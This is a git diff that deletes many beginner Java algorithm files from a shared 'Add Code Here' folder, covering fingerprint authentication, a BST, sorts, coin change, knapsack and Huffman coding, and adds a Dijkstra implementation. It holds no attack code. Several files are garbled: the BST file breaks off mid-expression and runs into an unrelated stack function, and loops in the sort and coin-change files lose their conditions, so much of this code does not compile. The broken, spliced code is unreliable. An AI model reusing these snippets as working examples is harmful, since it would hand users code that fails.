Here/JAVA/Android fingerprint dsa algorithm.java +++ /dev/null @@ -1,146 +0,0 @@ -package com.paulsofts.gfgfingerprintauthentication; - -import androidx.appcompat.app.AppCompatActivity; -import androidx.core.app.ActivityCompat; - -import android.Manifest; -import android.annotation.TargetApi; -import android.app.KeyguardManager; -import android.content.pm.PackageManager; -import android.hardware.fingerprint.FingerprintManager; -import android.os.Build; -import android.os.Bundle; -import android.security.keystore.KeyGenParameterSpec; -import android.security.keystore.KeyPermanentlyInvalidatedException; -import android.security.keystore.KeyProperties; -import android.widget.TextView; - -import java.io.IOException; -import java.security.InvalidAlgorithmParameterException; -import java.security.InvalidKeyException; -import java.security.KeyStore; -import java.security.KeyStoreException; -import java.security.NoSuchAlgorithmException; -import java.security.NoSuchProviderException; -import java.security.UnrecoverableKeyException; -import java.security.cert.CertificateException; - -import javax.crypto.Cipher; -import javax.crypto.KeyGenerator; -import javax.crypto.NoSuchPaddingException; -import javax.crypto.SecretKey; - -public class MainActivity extends AppCompatActivity { - - private KeyStore keyStore; - // Defining variable for storing - // key in android keystore container - private static final String KEY_NAME = "GEEKSFORGEEKS"; - private Cipher cipher; - private TextView errorText; - - @Override - protected void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - setContentView(R.layout.activity_main); - - // Initializing KeyguardManager and FingerprintManager - KeyguardManager keyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE); - FingerprintManager fingerprintManager = (FingerprintManager) getSystemService(FINGERPRINT_SERVICE); - - // Initializing our error text - errorText = (TextView) findViewById(R.id.errorText); - - // Here, we are using various security checks - // Checking device is inbuilt with fingerprint sensor or not - if(!fingerprintManager.isHardwareDetected()){ - - // Setting error message if device - // doesn't have fingerprint sensor - errorText.setText("Device does not support fingerprint sensor"); - }else { - // Checking fingerprint permission - if (ActivityCompat.checkSelfPermission(this, Manifest.permission.USE_FINGERPRINT) != PackageManager.PERMISSION_GRANTED) { - errorText.setText("Fingerprint authentication is not enabled"); - }else{ - // Check for at least one registered finger - if (!fingerprintManager.hasEnrolledFingerprints()) { - errorText.setText("Register at least one finger"); - }else{ - // Checking for screen lock security - if (!keyguardManager.isKeyguardSecure()) { - errorText.setText("Screen lock security not enabled"); - }else{ - - // if everything is enabled and correct then we will generate - // the encryption key which will be stored on the device - generateKey(); - if (cipherInit()) { - FingerprintManager.CryptoObject cryptoObject = new FingerprintManager.CryptoObject(cipher); - FingerprintHandler helper = new FingerprintHandler(this); - helper.startAuth(fingerprintManager, cryptoObject); - } - } - } - } - } - } - - - @TargetApi(Build.VERSION_CODES.M) - protected void generateKey() { - try { - keyStore = KeyStore.getInstance("AndroidKeyStore"); - } catch (Exception e) { - e.printStackTrace(); - } - - - KeyGenerator keyGenerator; - try { - keyGenerator = KeyGenerator.getInstance(KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore"); - } catch (NoSuchAlgorithmException | NoSuchProviderException e) { - throw new RuntimeException("KeyGenerator instance failed", e); - } - - try { - keyStore.load(null); - keyGenerator.init(new - KeyGenParameterSpec.Builder(KEY_NAME, - KeyProperties.PURPOSE_ENCRYPT | - KeyProperties.PURPOSE_DECRYPT) - .setBlockModes(KeyProperties.BLOCK_MODE_CBC) - .setUserAuthenticationRequired(true) - .setEncryptionPaddings( - KeyProperties.ENCRYPTION_PADDING_PKCS7) - .build()); - keyGenerator.generateKey(); - } catch (NoSuchAlgorithmException | - InvalidAlgorithmParameterException - | CertificateException | IOException e) { - throw new RuntimeException(e); - } - } - - - @TargetApi(Build.VERSION_CODES.M) - public boolean cipherInit() { - try { - cipher = Cipher.getInstance(KeyProperties.KEY_ALGORITHM_AES + "/" + KeyProperties.BLOCK_MODE_CBC + "/" + KeyProperties.ENCRYPTION_PADDING_PKCS7); - } catch (NoSuchAlgorithmException | NoSuchPaddingException e) { - throw new RuntimeException("Cipher failed", e); - } - - try { - keyStore.load(null); - SecretKey key = (SecretKey) keyStore.getKey(KEY_NAME, - null); - cipher.init(Cipher.ENCRYPT_MODE, key); - return true; - } catch (KeyPermanentlyInvalidatedException e) { - return false; - } catch (KeyStoreException | CertificateException | UnrecoverableKeyException | IOException | NoSuchAlgorithmException | InvalidKeyException e) { - throw new RuntimeException("Cipher initialization failed", e); - } - } -} diff --git a/Add Code Here/JAVA/Array.java b/Add Code Here/JAVA/Array.java deleted file mode 100644 index bd4f4339bb4..00000000000 --- a/Add Code Here/JAVA/Array.java +++ /dev/null @@ -1,43 +0,0 @@ -public class Arrays -{ - protected int size; - protected int max; - protected int min; - protected int[] array; - - public Arrays(int size, int max, int min) - { - this.size = size; - this.max = max; - this.min = min; - array = new int[size]; - generateArray(); - } - protected void generateArray() - { - for(int i = 0; i < size; i++) - { - array[i] = getRandom(); - } - } - //Returns a random number between max and min inclusive - protected int getRandom() - { - return (int)((Math.random() * (max-min+1))+min); - } - protected void printArray() - { - for(int num : array) - { - System.out.println(num); - } - } - public int[] getArray() - { - return array; - } - public int getSize() - { - return size; - } -} diff --git a/Add Code Here/JAVA/BST.java b/Add Code Here/JAVA/BST.java deleted file mode 100644 index 5c1ee1d0474..00000000000 --- a/Add Code Here/JAVA/BST.java +++ /dev/null @@ -1,119 +0,0 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package binary_search_tree; - -/** - * - * @author ossamamehmood - */ - -import java.util.Scanner; - -class node -{ - int info; - node lchild; - node rchild; -} - -class Binary { - - node root=null,parent=null,location=null; - -void find(int item) -{ - node ptr, ptrsave; - - if(root==null) - { - location = null; - parent = null; - return; - } - if(item==root.info) - { - location = root; - parent = null; - return; - } - if(item stack = new Stack<>(); - for (char c : s.toCharArray()) { - if (c == '#') { - if (!stack.isEmpty()) { - stack.pop(); - } - } else { - stack.push(c); - } - } - StringBuilder sb = new StringBuilder(); - while (!stack.isEmpty()) { - sb.append(stack.pop()); - } - return sb.toString(); - } -} diff --git a/Add Code Here/JAVA/Bear and Digit Virus.java/Bear and Digit Virus.java b/Add Code Here/JAVA/Bear and Digit Virus.java/Bear and Digit Virus.java deleted file mode 100644 index 80660181acc..00000000000 --- a/Add Code Here/JAVA/Bear and Digit Virus.java/Bear and Digit Virus.java +++ /dev/null @@ -1,308 +0,0 @@ -import java.io.OutputStream; - -import java.io.IOException; - -import java.io.InputStream; - -import java.io.OutputStream; - -import java.io.PrintWriter; - -import java.util.Arrays; - -import java.io.BufferedWriter; - -import java.io.Writer; - -import java.io.OutputStreamWriter; - -import java.util.InputMismatchException; - -import java.io.IOException; - -import java.io.InputStream; - - - -/** - - * Built using CHelper plug-in - - * Actual solution is at the top - - */ - -public class Main { - - public static void main(String[] args) { - - InputStream inputStream = System.in; - - OutputStream outputStream = System.out; - - InputReader in = new InputReader(inputStream); - - OutputWriter out = new OutputWriter(outputStream); - - AffectedDigits solver = new AffectedDigits(); - - int testCount = Integer.parseInt(in.next()); - - for (int i = 1; i <= testCount; i++) - - solver.solve(i, in, out); - - out.close(); - - } - - - - static class AffectedDigits { - - public void solve(int testNumber, InputReader in, OutputWriter out) { - - char[] s = in.next().toCharArray(); - - int n = s.length; - - int mx = 0; - - for (int i = 0; i < n; i++) mx = Math.max(mx, s[i] - '0'); - - int k = mx + 1; - - boolean[] vis = new boolean[n * k]; - - int[] queue = new int[n * k]; - - int[] dist = new int[n * k]; - - Arrays.fill(dist, n * k + 1); - - int front = 0, back = 0; - - for (int i = 0; i < n; i++) { - - int node = i * k + (s[i] - '0'); - - queue[back++] = node; - - dist[node] = 0; - - vis[node] = true; - - } - - int[][] cp = new int[n][k]; - - int[] cf = new int[n], cb = new int[n]; - - for (int i = 0; i < n; i++) cp[i][cb[i]++] = s[i] - '0'; - - while (front < back) { - - int cur = queue[front++]; - - int pos = cur / k, val = cur % k; - - for (int i = pos - val; i <= pos + val; i++) { - - if (i < 0 || i >= n) continue; - - int d = Math.abs(pos - i); - - int to = i * k + val; - - if (vis[to]) continue; - - while (cf[i] + 1 < cb[i] && dist[i * k + cp[i][cf[i] + 1]] <= dist[cur]) cf[i]++; - - int cval = cp[i][cf[i]]; - - if (cval <= val - d) { - - vis[to] = true; - - dist[to] = dist[cur] + 1; - - queue[back++] = to; - - cp[i][cb[i]++] = val; - - } - - } - - } - - - - int ret = 0; - - for (int i = 0; i < n; i++) { - - ret = Math.max(ret, dist[i * k + mx]); - - } - - out.println(ret); - - } - - - - } - - - - static class InputReader { - - private InputStream stream; - - private byte[] buf = new byte[1024]; - - private int curChar; - - private int numChars; - - - - public InputReader(InputStream stream) { - - this.stream = stream; - - } - - - - public int read() { - - if (this.numChars == -1) { - - throw new InputMismatchException(); - - } else { - - if (this.curChar >= this.numChars) { - - this.curChar = 0; - - - - try { - - this.numChars = this.stream.read(this.buf); - - } catch (IOException var2) { - - throw new InputMismatchException(); - - } - - - - if (this.numChars <= 0) { - - return -1; - - } - - } - - - - return this.buf[this.curChar++]; - - } - - } - - - - public String next() { - - int c; - - while (isSpaceChar(c = this.read())) { - - ; - - } - - - - StringBuilder result = new StringBuilder(); - - result.appendCodePoint(c); - - - - while (!isSpaceChar(c = this.read())) { - - result.appendCodePoint(c); - - } - - - - return result.toString(); - - } - - - - public static boolean isSpaceChar(int c) { - - return c == 32 || c == 10 || c == 13 || c == 9 || c == -1; - - } - - - - } - - - - static class OutputWriter { - - private final PrintWriter writer; - - - - public OutputWriter(OutputStream outputStream) { - - writer = new PrintWriter(new BufferedWriter(new OutputStreamWriter(outputStream))); - - } - - - - public OutputWriter(Writer writer) { - - this.writer = new PrintWriter(writer); - - } - - - - public void close() { - - writer.close(); - - } - - - - public void println(int i) { - - writer.println(i); - - } - - - - } - -} - diff --git a/Add Code Here/JAVA/BinarySearch.java b/Add Code Here/JAVA/BinarySearch.java deleted file mode 100644 index 95182cd978b..00000000000 --- a/Add Code Here/JAVA/BinarySearch.java +++ /dev/null @@ -1,27 +0,0 @@ -public class binarySearch { - static void bSearch(int arr[], int first, int last, int key) { - int mid = (first + last) / 2; - while (first <= last) { - if (arr[mid] < key) { - first = mid + 1; - } else if (arr[mid] == key) { - System.out.println("Element is found at index: " + mid); - break; - } else { - last = mid - 1; - } - mid = (first + last) / 2; - } - if (first > last) { - System.out.println("Element is not found!"); - } - } - - public static void main(String args[]) { - int arr[] = { 10, 20, 30, 40, 50 }; - int key = 30; - int last = arr.length - 1; - bSearch(arr, 0, last, key); - } - -} diff --git a/Add Code Here/JAVA/Book_Allocation.java b/Add Code Here/JAVA/Book_Allocation.java deleted file mode 100644 index 359089a9b6f..00000000000 --- a/Add Code Here/JAVA/Book_Allocation.java +++ /dev/null @@ -1,85 +0,0 @@ -//Problem : https://www.geeksforgeeks.org/allocate-minimum-number-pages/ - -// Java program for optimal allocation of pages - -public class GFG { - // Utility method to check if current minimum value - // is feasible or not. - static boolean isPossible(int arr[], int n, int m, - int curr_min) - { - int studentsRequired = 1; - int curr_sum = 0; - - // iterate over all books - for (int i = 0; i < n; i++) { - curr_sum += arr[i]; - if (curr_sum > curr_min) { - studentsRequired++; // increment student - // count - - curr_sum = arr[i]; // update curr_sum - } - } - - return studentsRequired <= m; - } - - // method to find minimum pages - static int findPages(int arr[], int n, int m) - { - int sum = 0; - - // return -1 if no. of books is less than - // no. of students - if (n < m) - return -1; - - // Count total number of pages - for (int i = 0; i < n; i++) - sum += arr[i]; - - // initialize start as arr[n-1] pages(minimum answer - // possible) and end as total pages(maximum answer - // possible) - int start = arr[n - 1], end = sum; - int result = Integer.MAX_VALUE; - - // traverse until start <= end - while (start <= end) { - // check if it is possible to distribute - // books by using mid is current minimum - int mid = start + (end - start) / 2; - if (isPossible(arr, n, m, mid)) { - // update result to current distribution - // as it's the best we have found till now. - result = mid; - - // as we are finding minimum so, - end = mid - 1; - } - - else - // if not possible, means pages should be - // increased ,so update start = mid + 1 - start = mid + 1; - } - - // at-last return minimum no. of pages - return result; - } - - // Driver Method - public static void main(String[] args) - { - - int arr[] = { 12, 34, 67, - 90 }; // Number of pages in books - - int m = 2; // No. of students - - System.out.println("Minimum number of pages = " - + findPages(arr, arr.length, m)); - } -} - diff --git a/Add Code Here/JAVA/BubbleSort.java b/Add Code Here/JAVA/BubbleSort.java deleted file mode 100644 index c8772ac433d..00000000000 --- a/Add Code Here/JAVA/BubbleSort.java +++ /dev/null @@ -1,32 +0,0 @@ -import java.util.Scanner; - -public class BubbleSort { - public static void main(String []args) { - int i,j,temp,limit; - Scanner sc = new Scanner(System.in); - - System.out.println("Enter the limit of the numbers:"); - limit = sc.nextInt(); - - int array[] = new int[limit]; - - System.out.println("Enter " + limit + " numbers: "); - for (i = 0; i array[j+1]) //swap the elements if first one is greater than second - { - temp = array[j]; - array[j] = array[j+1]; - array[j+1] = temp; - } - } - } - - System.out.println("******Sorted list******"); - for (i = 0; i < limit; i++) - System.out.println(array[i]); - } -} diff --git a/Add Code Here/JAVA/BubbleSortWithInput.java b/Add Code Here/JAVA/BubbleSortWithInput.java deleted file mode 100644 index b7b7f0433d7..00000000000 --- a/Add Code Here/JAVA/BubbleSortWithInput.java +++ /dev/null @@ -1,44 +0,0 @@ -import java.io.BufferedReader; -import java.io.IOException; -import java.io.InputStreamReader; - -public class BubbleSortWithInput { - public static void main(String[] args) throws IOException { - int[] input = input(); - input = bubbleSort(input, input.length); - output(input); - } - - private static int[] bubbleSort(int[] input, int length) { - int tmp; - for (int i = length - 1; i > 0; i--) { - for (int j = 0; j < i; j++) { - if (input[j] > input[j + 1]) { - tmp = input[j]; - input[j] = input[j + 1]; - input[j + 1] = tmp; - } - } - } - return input; - } - - private static int[] input() throws IOException { - BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); - System.out.print("array length : "); - int num = Integer.parseInt(br.readLine()); - int[] arr = new int[num]; - - for (int i=0; i=0) - { - int subans=0; - if(dp[n-a[i]]!=-1) - { - subans=dp[n-a[i]]; - } - else{ - subans=minCoins(n-a[i], a,dp); - } - if(subans+1j) - dp[i][j]=dp[i-1][j]; - else - dp[i][j]=Math.min(dp[i-1][j],1+dp[i][j-coin[i-1]]); - } - } - return dp[amt][coin.length]; - } - public static void main(String[] args) { - int coin[]={1,5,6,9}; - int amt=10; - int dp[][]=new int [amt+1][coin.length+1]; - for(int i=0;i<=amt;i++) dp[i][0]=i; - for(int j=0;j<=coin.length;j++) dp[0][j]=j; - - System.out.println(coinChange(coin,amt,dp)); - } -} diff --git a/Add Code Here/JAVA/CountCoins.java b/Add Code Here/JAVA/CountCoins.java deleted file mode 100644 index d0bbc5093b5..00000000000 --- a/Add Code Here/JAVA/CountCoins.java +++ /dev/null @@ -1,43 +0,0 @@ -import java.util.*; -public class Solution -{ - public static long countways(int index,int target,int[]a,long[][]dp) - { - if(index==0) - { - if(target%a[index]==0) - { - return 1; - } - else - { - return 0; - } - } - if(dp[index][target]!=-1) - { - return dp[index][target]; - } - - long take=0; - long nottake=countways(index-1,target,a,dp); - - if(a[index]<=target) - { - take=countways(index,target-a[index],a,dp); - } - - return dp[index][target]=nottake+take; - } - public static long countWaysToMakeChange(int denominations[], int value) - { - int n=denominations.length; - long[][]dp=new long[n][value+1]; - for (int i = 0; i < n; i++) - { - Arrays.fill(dp[i], -1); - } - return countways(n-1,value,denominations,dp); - } - -} diff --git a/Add Code Here/JAVA/CountRepeatedDigits.java b/Add Code Here/JAVA/CountRepeatedDigits.java deleted file mode 100644 index e5034c8ca93..00000000000 --- a/Add Code Here/JAVA/CountRepeatedDigits.java +++ /dev/null @@ -1,58 +0,0 @@ -class CountRepeated{ - -// Function that returns the count of -// repeating digits of the given number -static int countRepeatingDigits(int N) -{ - // Initialize a variable to store - // count of Repeating digits - int res = 0; - - // Initialize cnt array to - // store digit count - - int cnt[] = new int[10]; - - // Iterate through the digits of N - while (N > 0) - { - - // Retrieve the last digit of N - int rem = N % 10; - - // Increase the count of digit - cnt[rem]++; - - // Remove the last digit of N - N = N / 10; - } - - // Iterate through the cnt array - for (int i = 0; i < 10; i++) - { - - // If frequency of digit - // is greater than 1 - if (cnt[i] > 1) - { - - // Increment the count - // of Repeating digits - res++; - } - } - - // Return count of repeating digit - return res; -} - -// Driver Code -public static void main(String[] args) -{ - // Given array arr[] - int N = 12; - - // Function Call - System.out.println(countRepeatingDigits(N)); -} -} diff --git a/Add Code Here/JAVA/CountdistinctCharatersInEveryWindowSizek.java b/Add Code Here/JAVA/CountdistinctCharatersInEveryWindowSizek.java deleted file mode 100644 index ded40cc36ae..00000000000 --- a/Add Code Here/JAVA/CountdistinctCharatersInEveryWindowSizek.java +++ /dev/null @@ -1,45 +0,0 @@ -package hashMapAndHeap; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.Scanner; - -public class CountdistinctCharatersInEveryWindowSizek { - - public static ArrayListlist(String str,int k){ - ArrayListal=new ArrayList<>(); - char[]arr=str.toCharArray(); - HashMaphm=new HashMap<>(); - for(int i=0;i ans =list(str,k); - for(int a : ans){ - System.out.print(a + " "); - } - - } - - } diff --git a/Add Code Here/JAVA/CountingSort.java b/Add Code Here/JAVA/CountingSort.java deleted file mode 100644 index cf02bc2fa9d..00000000000 --- a/Add Code Here/JAVA/CountingSort.java +++ /dev/null @@ -1,30 +0,0 @@ -import java.util.*; - -public class CountingSort { - - public static void main(String[] args) { - int arr[]={1,3,4,6,8,5,9,3,5,7,8}; - CountSort(arr); - System.out.println(Arrays.toString(arr)); - - } - public static void CountSort(int arr[]){ - int max=Integer.MIN_VALUE; - for(var x: arr){ - max=Integer.max(max,x); - } - int count[]=new int[max+1]; - for(var x:arr){ - count[x]++; - } - int p=0; - for(int i=0;iset=new HashSet<>(); - for(int val:arr) { - max=Math.max(val,max); - min=Math.min(val,min); - set.add(val); - } - int cd=(max-min)/(arr.length-1); - for(int i=0;i randNo) { - System.out.println("Lower number!!"); - } - if (inputNo < randNo) { - System.out.println("Higher number!!"); - } - if (inputNo == randNo) { - System.out.println("Correct!!"); - System.out.println("You guessed in " + userAttempt + " attempts."); - } - userAttempt++; - } while (inputNo != randNo); - } -} diff --git a/Add Code Here/JAVA/FlightReservationSystem.java b/Add Code Here/JAVA/FlightReservationSystem.java deleted file mode 100644 index 430545b582e..00000000000 --- a/Add Code Here/JAVA/FlightReservationSystem.java +++ /dev/null @@ -1,140 +0,0 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ - -/** - * - * @author ossamamehood - */ - -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ - -/** - * - * @author ossamamehmood - */ - -public class FlightReservationSystem { - - Node root; - - // This method adds details of patient to the queue. - - // This method adds patient's detail at the end of the queue as per FIFO functionality. - - // id stores id of patient. - - // @param disease stores disease from which patient is suffering. - - void store(int id , String disease) { - - Node toAdd = new Node(id , disease); - - if(root == null) { - root = toAdd; - return; - } - - Node temp = root; - - while(temp.next != null) { - temp = temp.next; - } - - temp.next = toAdd; - } - - // This method deletes the entries of patient from queue. - - // It deletes first entry present in queue as per FIFO(First In First Out) functionality. - - // @throws Exception if queue is empty, it throws exception. - - void delete() throws Exception{ - - if(root == null) { - throw new Exception("Queue is already empty."); - } - - root = root.next; - } - - // This method display queue data. - - void print() { - - if(root == null) { - System.out.println("Can't print an empty queue."); - return; - } - - Node temp = root; - - while(temp != null) { - System.out.println("Seat number: " + temp.seat + "\tBoarding card: " + temp.card); - temp = temp.next; - } - } - - // Node class to store different entries of patients. - - class Node{ - - int seat; - String card; - - // next pointer to connect each nodes - Node next; - - Node(int seat , String card){ - this.seat = seat; - this.card = card; - } - } - - // Main method - public static void main(String[] args) throws Exception { - - FlightReservationSystem q = new FlightReservationSystem (); - - // a) Storing information. - - System.out.println("- - - - - - - - - - "); - System.out.println(" Fight Reservation System"); - System.out.println("- - - - - - - - - - "); - - - - // Aircarft Seat number Boarding Pass - - - System.out.println("- - - - - - - - - - "); - System.out.println(" Seat Number || Boarding Pass"); - System.out.println("- - - - - - - - - - "); - - q.store(66, "AA5920"); - q.store(69, "AE6920"); - q.store(99, "AF4360"); - q.store(69, "BE3350"); - - // c) Display Flight Record from queue - Here, we're displaying the data fro the Queue - q.print(); - - // b) Deleting One Record from Queue. - q.delete(); - - - // Displaying the data after deleccting two node from the queue - System.out.println("\nAfter deleting few entries from queue.\n"); - q.print(); - - - } - -} diff --git a/Add Code Here/JAVA/FractionKnapsack.java b/Add Code Here/JAVA/FractionKnapsack.java deleted file mode 100644 index e4be2e59df7..00000000000 --- a/Add Code Here/JAVA/FractionKnapsack.java +++ /dev/null @@ -1,56 +0,0 @@ -package Practice; - -import java.util.Arrays; -import java.util.Comparator; - -public class FractionalKnapSack { - public double getMaxValue(int[]w,int[]v,int capacity){ - Item[] item = new Item[w.length]; - for(int i=0;i() { - @Override - public int compare(Item o1, Item o2) { - return o2.cost.compareTo(o1.cost); - } - }); - double total = 0d; - - for(Item i : item){ - int curWT = (int) i.wt; - int curVal = (int) i.val; - - if(capacity-curWT>0){ - capacity-=curWT; - total = total+curVal; - }else{ - double frac = (double) capacity/curWT; - total = total+curVal*frac; - capacity = (int) (capacity-curWT*frac); - break; - } - } - return total; - } -} -class Item{ - Double cost; - double wt,val,idx; - - public Item(double wt, double val, double idx) { - this.wt = wt; - this.val = val; - this.idx = idx; - cost = val/wt; - } - - public static void main(String[] args) { - int[] wt = { 10, 40, 20, 30 }; - int[] val = { 80, 20, 120, 60 }; - int capacity = 50; - KnapSack k = new KnapSack(); - double maxValue = k.getMaxValue(wt, val, capacity); - System.out.println(maxValue); - } -} diff --git a/Add Code Here/JAVA/GRAPHS/Dijkstra.java b/Add Code Here/JAVA/GRAPHS/Dijkstra.java new file mode 100644 index 00000000000..287cf344b48 --- /dev/null +++ b/Add Code Here/JAVA/GRAPHS/Dijkstra.java @@ -0,0 +1,56 @@ +package com.mycompany.dsa.JAVA.GRAPHS; + +// Dijkstra's Algorithm in Java + +public class Dijkstra { + + public static void dijkstra(int[][] graph, int source) { + int count = graph.length; + boolean[] visitedVertex = new boolean[count]; + int[] distance = new int[count]; + for (int i = 0; i < count; i++) { + visitedVertex[i] = false; + distance[i] = Integer.MAX_VALUE; + } + + // Distance of self loop is zero + distance[source] = 0; + for (int i = 0; i < count; i++) { + + // Update the distance between neighbouring vertex and source vertex + int u = findMinDistance(distance, visitedVertex); + visitedVertex[u] = true; + + // Update all the neighbouring vertex distances + for (int v = 0; v < count; v++) { + if (!visitedVertex[v] && graph[u][v] != 0 && (distance[u] + graph[u][v] < distance[v])) { + distance[v] = distance[u] + graph[u][v]; + } + } + } + for (int i = 0; i < distance.length; i++) { + System.out.println(String.format("Distance from %s to %s is %s", source, i, distance[i])); + } + + } + + // Finding the minimum distance + private static int findMinDistance(int[] distance, boolean[] visitedVertex) { + int minDistance = Integer.MAX_VALUE; + int minDistanceVertex = -1; + for (int i = 0; i < distance.length; i++) { + if (!visitedVertex[i] && distance[i] < minDistance) { + minDistance = distance[i]; + minDistanceVertex = i; + } + } + return minDistanceVertex; + } + + public static void main(String[] args) { + int graph[][] = new int[][] { { 0, 0, 1, 2, 0, 0, 0 }, { 0, 0, 2, 0, 0, 3, 0 }, { 1, 2, 0, 1, 3, 0, 0 }, + { 2, 0, 1, 0, 0, 0, 1 }, { 0, 0, 3, 0, 0, 2, 0 }, { 0, 3, 0, 0, 2, 0, 1 }, { 0, 0, 0, 1, 0, 1, 0 } }; + Dijkstra T = new Dijkstra(); + T.dijkstra(graph, 0); + } +} \ No newline at end of file diff --git a/Add Code Here/JAVA/GuessTheNumber.java b/Add Code Here/JAVA/GuessTheNumber.java deleted file mode 100644 index f95ccfe8c58..00000000000 --- a/Add Code Here/JAVA/GuessTheNumber.java +++ /dev/null @@ -1,72 +0,0 @@ -import java.util.Scanner; -import java.util.Random; - -public class GuessTheNumber { - - public static void main(String [] args) { - - Random obj=new Random(); - Scanner input=new Scanner(System.in); - - int a=obj.nextInt(101); - System.out.println("Generated Number= "+a); - - int attempts = 0; - boolean right = false; - - System.out.println("Number Generated Successfully!!\n\nNow start Guessing the Number."); - - System.out.println("Are you Ready?? Enter Yes or No."); - String b=input.next(); - - if(b.equalsIgnoreCase("yes")) { - - for(int i=0;i<50;i++) { - - System.out.println("Make a Guess."); - - int x=input.nextInt(); - - attempts++; - - if(a-x>0) { - - System.out.println("Oops!! not a right guess. \nHint: Increase your Number."); - - } - - else if(a-x<0) { - - System.out.println("Oops!! not a right guess. \nHint: Decrease your Number."); - - } - - else { - - System.out.println("Congrats!! You Guessed it Right."); - - right = true; - } - - System.out.println("Attempts: " + attempts); - - int correct = 0; - - if (right) { - correct++; - attempts--; - } - - System.out.println("Unsuccessfull: " + attempts + "\nSuccessful: " + correct); - - if (right) { - break; - } - - } - - } - - } - -} diff --git a/Add Code Here/JAVA/Hashing.java b/Add Code Here/JAVA/Hashing.java deleted file mode 100644 index 682b5a8f18f..00000000000 --- a/Add Code Here/JAVA/Hashing.java +++ /dev/null @@ -1,57 +0,0 @@ -package hashing; - -import java.util.HashMap; -import java.util.Map; -import java.util.Scanner; - -public class Hashing { - static void frequencyOfElement() { - Scanner scanner = new Scanner(System.in); - String s = scanner.next(); - // Initialize HashMap - HashMap map = new HashMap<>(); - // Put Element Into Hashmap - for (int i = 0; i < s.length(); i++) { -// It Will Check If The Element Is Present In HashMap Or Not -// If The Element Is Not Present In HashMap Then It Will Add Element With -// Default Value And If The Element Is Present In HashMap Then The Value Of That -// Element Will Increase By 1 - map.put(s.charAt(i), map.getOrDefault(s.charAt(i), 0) + 1); - } - // Iterate HashMap - System.out.println("Key Value"); - for (Map.Entry entry: map.entrySet()) { - System.out.println(entry.getKey() + " " + entry.getValue()); - } - // Condition To Find Element Of Highest Frequency - char max = s.charAt(0); - for (Map.Entry entry: map.entrySet()) { - if (map.get(entry.getKey()) > map.get(max)) { - max = entry.getKey(); - } - } - System.out.println("Character With Highest Frequency Is -> " + max); - - // Condition To Find Element Of Lowest Frequency - char min = s.charAt(0); - for (Map.Entry entry: map.entrySet()) { - if (map.get(entry.getKey()) < map.get(min)) { - min = entry.getKey(); - } - } - System.out.println("Character With Lowest Frequency Is -> " + min); - - // Condition To Find Element With N Frequency - System.out.print("Enter N -> "); - int N = scanner.nextInt(); - for (Map.Entry entry: map.entrySet()) { - if (entry.getValue() == N) { - System.out.println("Character With "+N+" Frequency Is -> " + entry.getKey()); - } - } - } - - public static void main(String[] args) { - frequencyOfElement(); - } -} diff --git a/Add Code Here/JAVA/House_Robbers.java b/Add Code Here/JAVA/House_Robbers.java deleted file mode 100644 index daef560e58e..00000000000 --- a/Add Code Here/JAVA/House_Robbers.java +++ /dev/null @@ -1,26 +0,0 @@ -import java.util.Arrays; - -/** - * House_Robbers - */ -public class House_Robbers { - public static int robForm(int wealth[],int currIndex,int dp[]) - { - if(currIndex>=wealth.length) - return 0; - if(dp[currIndex]!=-1) - return dp[currIndex]; - - int stealCurrent=wealth[currIndex]+robForm(wealth, currIndex+2,dp); - int skipCurrent=robForm(wealth, currIndex+1,dp); - - return dp[currIndex]=Math.max(stealCurrent, skipCurrent); - - } - public static void main(String[] args) { - int nums[]={114,117,207,117,235,82,90,67,143,146,53,108,200,91,80,223,58,170,110,236,81,90,222,160,165,195,187,199,114,235,197,187,69,129,64,214,228,78,188,67,205,94,205,169,241,202,144,240}; - int dp[]=new int[nums.length]; - Arrays.fill(dp, -1); - System.out.println(robForm(nums,0,dp)); - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/Huffman.java b/Add Code Here/JAVA/Huffman.java deleted file mode 100644 index e483a425259..00000000000 --- a/Add Code Here/JAVA/Huffman.java +++ /dev/null @@ -1,62 +0,0 @@ -import java.util.PriorityQueue; -import java.util.Scanner; -import java.util.Comparator; - -class HuffmanNode { - int data; - char c; - HuffmanNode left; - HuffmanNode right; -} - -class MyComparator implements Comparator { - public int compare(HuffmanNode x, HuffmanNode y){ - return x.data - y.data; - } -} - -public class Huffman { - public static void printCode(HuffmanNode root, String s) { - if (root.left == null && root.right == null && Character.isLetter(root.c)) { - System.out.println(root.c + ":" + s); - return; - } - - printCode(root.left, s + "0"); - printCode(root.right, s + "1"); - } - public static void main(String[] args){ - Scanner s = new Scanner(System.in); - int n = 6; - char[] charArray = { 'a', 'b', 'c', 'd', 'e', 'f' }; - int[] charFreq = { 22,11,44,20,5,2 }; - - PriorityQueue q = new PriorityQueue(n, new MyComparator()); - for (int i = 0; i < n; i++) { - HuffmanNode hn = new HuffmanNode(); - hn.c = charArray[i]; - hn.data = charFreq[i]; - hn.left = null; - hn.right = null; - q.add(hn); - } - HuffmanNode root = null; - while (q.size() > 1) { - HuffmanNode x = q.peek(); - q.poll(); - HuffmanNode y = q.peek(); - q.poll(); - HuffmanNode f = new HuffmanNode(); - - f.data = x.data + y.data; - f.c = '-'; - f.left = x; - f.right = y; - root = f; - q.add(f); - } - - printCode(root, ""); - } -} - diff --git a/Add Code Here/JAVA/Insertionsort.txt b/Add Code Here/JAVA/Insertionsort.txt deleted file mode 100644 index 7e75d278b41..00000000000 --- a/Add Code Here/JAVA/Insertionsort.txt +++ /dev/null @@ -1,41 +0,0 @@ -class InsertionSort { - /*Function to sort array using insertion sort*/ - void sort(int arr[]) - { - int n = arr.length; - for (int i = 1; i < n; ++i) { - int key = arr[i]; - int j = i - 1; - - /* Move elements of arr[0..i-1], that are - greater than key, to one position ahead - of their current position */ - while (j >= 0 && arr[j] > key) { - arr[j + 1] = arr[j]; - j = j - 1; - } - arr[j + 1] = key; - } - } - - /* A utility function to print array of size n*/ - static void printArray(int arr[]) - { - int n = arr.length; - for (int i = 0; i < n; ++i) - System.out.print(arr[i] + " "); - - System.out.println(); - } - - // Driver method - public static void main(String args[]) - { 